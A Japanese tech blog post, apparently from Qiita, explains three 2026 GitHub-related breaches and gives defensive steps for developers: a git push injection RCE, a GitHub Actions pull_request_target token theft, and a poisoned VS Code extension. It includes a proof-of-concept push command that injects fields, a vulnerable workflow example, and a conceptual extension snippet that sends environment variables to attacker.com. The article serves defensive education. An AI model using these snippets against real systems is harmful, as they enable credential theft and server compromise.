4
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【緊急】GitHubが陥落した日 - VS Code拡張機能から始まった3,800リポジトリ流出事件の全貌

4
Posted at

結論から言うと

GitHubの内部ソースコードが流出した。

2026年5月20日、GitHubは従業員のデバイスが「毒入りVS Code拡張機能」によって侵害され、約3,800の内部リポジトリが流出したことを認めた。

攻撃者「TeamPCP」は盗んだソースコードを**$50,000で販売中**。買い手が現れなければ無料公開すると脅迫している。

しかし、これは6週間で3度目のGitHub関連セキュリティ事件だ。何が起きているのか、技術的に解剖する。


6週間で3度の危機:時系列で整理

日付 事件 影響
4月28日 CVE-2026-3854 git pushでRCE、数百万リポジトリがアクセス可能に
5月16日 Grafana Labs侵害 GitHub Actions経由でコードベース全体が流出
5月20日 GitHub内部侵害 3,800の内部リポジトリが流出、$50Kで販売中

同じインフラで、同じ期間に、3つの異なる攻撃ベクトル。 これは偶然ではない。


事件1:CVE-2026-3854 - git pushでサーバー乗っ取り

発見の経緯

3月4日、Wizの研究者がGitHubの内部プロトコルに致命的な脆弱性を発見した。

攻撃方法: git pushコマンド1つでGitHub.comのバックエンドサーバー上で任意のコードを実行できた。

技術的な詳細

GitHubの内部サービス間通信では、X-Statヘッダーでメタデータを渡している。問題は、セミコロンがフィールド区切り文字として使われていたこと。

# 攻撃コマンド(概念実証)
git push -o "malicious;rails_env=development;custom_hooks_dir=/tmp" origin main

ユーザー入力のpush optionがサニタイズされずにヘッダーに挿入されるため、攻撃者は任意のフィールドを注入できた。

3段階のRCE escalation

1. rails_env注入
   → サンドボックス制限を無効化

2. custom_hooks_dir注入  
   → フックスクリプトの場所を制御

3. repo_pre_receive_hooks + パストラバーサル
   → 任意のバイナリを実行

影響範囲

GitHub.comの共有ストレージノード上で、数百万の他ユーザーのリポジトリにファイルシステムレベルでアクセス可能だった。

衝撃: 公開時点で、GitHub Enterprise Serverの88%が未パッチだった。

対応タイムライン

日時 アクション
3月4日 Wizが発見・報告
3月4日(6時間後) GitHub.comで緩和策適用
3月10日 CVE割り当て(CVSS 8.7)
4月28日 公開開示

GitHubは攻撃の痕跡を調査し、実際の悪用は確認されなかったと発表。


事件2:Grafana Labs - GitHub Actionsの「Pwn Request」

攻撃の流れ

5月16日、Grafana Labsは全コードベースが盗まれたことを公表した。

1. 攻撃者がGrafanaリポジトリをフォーク

2. pull_request_target イベントを悪用
   → 外部コントリビューターにトークンアクセスを許可

3. curl + 暗号化でトークンを抽出

4. フォークを削除して痕跡を隠蔽

5. 盗んだトークンで4つの追加リポジトリを複製

技術的な問題点

pull_request_targetPRの作成者ではなく、ベースリポジトリのコンテキストで実行される。これにより、外部の攻撃者がシークレットにアクセスできてしまう。

# 危険な設定例
on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      # ↑ 攻撃者のコードを特権コンテキストで実行

攻撃者「CoinbaseCartel」

  • 2025年9月に登場したデータ恐喝グループ
  • ShinyHunters、Scattered Spider、LAPSUS$の派生と評価
  • 身代金を要求するが、Grafanaは支払いを拒否

Grafanaの対応は模範的だった:「身代金を支払ってもデータが戻る保証はない」とFBIガイダンスを引用。


事件3:GitHub内部侵害 - 毒入りVS Code拡張機能

攻撃の概要

5月20日、GitHubは従業員のデバイスが侵害されたことを確認。

毒入りVS Code拡張機能
    ↓
従業員がインストール
    ↓
デバイス侵害
    ↓
内部システムへのアクセス
    ↓
3,800の内部リポジトリを流出

TeamPCPとは何者か

Google Threat Intelligence GroupはUNC6780として追跡。

属性 詳細
動機 金銭目的
専門 ソフトウェアサプライチェーン攻撃
過去の攻撃 Trivy、Checkmarx、LiteLLM

2026年で最も影響力のあるサプライチェーン攻撃キャンペーンの一つを展開中。

販売と脅迫

TeamPCPの声明:

「$50,000未満のオファーには興味がない。最高額の入札者が獲得する」
「これは身代金ではない。買い手が見つからなければ無料で公開する」

GitHubの対応

  • 悪意ある拡張機能をMarketplaceから削除
  • 感染デバイスを隔離
  • 重要なシークレットをローテーション
  • インシデントレスポンス開始

現時点で顧客データへの影響は確認されていないとGitHubは発表。


なぜVS Code拡張機能が危険なのか

信頼モデルの崩壊

VS Code拡張機能は、インストールした瞬間にフルアクセス権限を持つ:

  • ファイルシステムへのアクセス
  • ネットワーク通信
  • 子プロセスの実行
  • 環境変数の読み取り
// 悪意ある拡張機能の例(概念)
const vscode = require('vscode');
const { exec } = require('child_process');

function activate(context) {
    // 環境変数からトークンを抽出
    const tokens = process.env;
    
    // 外部サーバーに送信
    fetch('https://attacker.com/exfil', {
        method: 'POST',
        body: JSON.stringify(tokens)
    });
    
    // .gitconfigからクレデンシャルを読み取り
    const gitconfig = fs.readFileSync('~/.gitconfig');
    // ...
}

最近の類似事件

拡張機能 事件
Nx Console 侵害されてマルウェア配布
GitHub内部 今回の事件の攻撃ベクトル

開発者が今すぐやるべき5つのこと

1. VS Code拡張機能の監査

# インストール済み拡張機能の一覧
code --list-extensions

# 不要な拡張機能を削除
code --uninstall-extension <extension-id>

確認ポイント

  • 最終更新日が古くないか
  • ダウンロード数が極端に少なくないか
  • パブリッシャーは信頼できるか

2. GitHub Enterprise Serverのパッチ確認

CVE-2026-3854の対象バージョン:

ブランチ パッチ済みバージョン
3.14 3.14.25以降
3.15 3.15.20以降
3.16 3.16.16以降
3.17 3.17.13以降
3.18 3.18.8以降
3.19 3.19.4以降

3. GitHub Actionsのpull_request_targetを監査

# リポジトリ内の危険な設定を検索
grep -r "pull_request_target" .github/workflows/

安全なパターンに書き換える:

# ❌ 危険
on:
  pull_request_target:

# ✅ 安全(外部PRのコードを実行しない)
on:
  pull_request:

4. シークレットのローテーション

影響を受けた可能性がある場合:

  • Personal Access Tokens
  • SSH鍵
  • GitHub Apps認証情報
  • Actions secrets

5. カナリアトークンの導入

Grafanaはカナリアトークンのおかげで侵害を即座に検知できた。

# 例:canarytoken.orgでトークンを生成
# リポジトリ内に配置して、アクセスがあれば通知

業界への影響

開発者ツールチェーンへの信頼崩壊

3つの事件は、それぞれ異なるレイヤーを攻撃している:

事件 攻撃レイヤー
CVE-2026-3854 Gitプロトコル
Grafana CI/CD(GitHub Actions)
GitHub内部 IDE拡張機能

開発者のワークフロー全体が攻撃対象になっている。

サプライチェーン攻撃の進化

TeamPCPは「サプライチェーン攻撃の専門家」として、以下を標的にしてきた:

  • Trivy: 脆弱性スキャナー
  • Checkmarx: SASTツール
  • LiteLLM: AI/LLMプロキシ(月間9500万DL)

開発者が「信頼して使う」ツールを狙い撃ちにしている。


まとめ:信頼のない時代の開発

6週間で3度のGitHub関連セキュリティ事件。これが意味するのは:

  • ゼロトラスト: VS Code拡張機能も、GitHub Actionsも、Gitプロトコルも「信頼しない」
  • 最小権限: 必要最小限のアクセス権限だけを付与
  • 多層防御: 1つが破られても全体が崩壊しない設計
  • 検知能力: カナリアトークン、監査ログ、異常検知

「GitHubにコードを置いているから安全」という時代は終わった。


参考リンク

GitHub Breached — Employee Device Hack Led to Exfiltration of 3,800+ Internal Repos | The Hacker News

GitHub confirms breach of 3,800 repos via malicious VSCode extension | BleepingComputer

GitHub RCE Vulnerability: CVE-2026-3854 Breakdown | Wiz Blog

Grafana GitHub Token Breach Led to Codebase Download and Extortion Attempt | The Hacker News

88% of self-hosted GitHub servers exposed to RCE | Help Net Security


この記事が参考になったら、いいね・ストックをお願いします。

「うちも影響受けた」「対策済み」など、コメントで情報共有をお願いします。

4
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?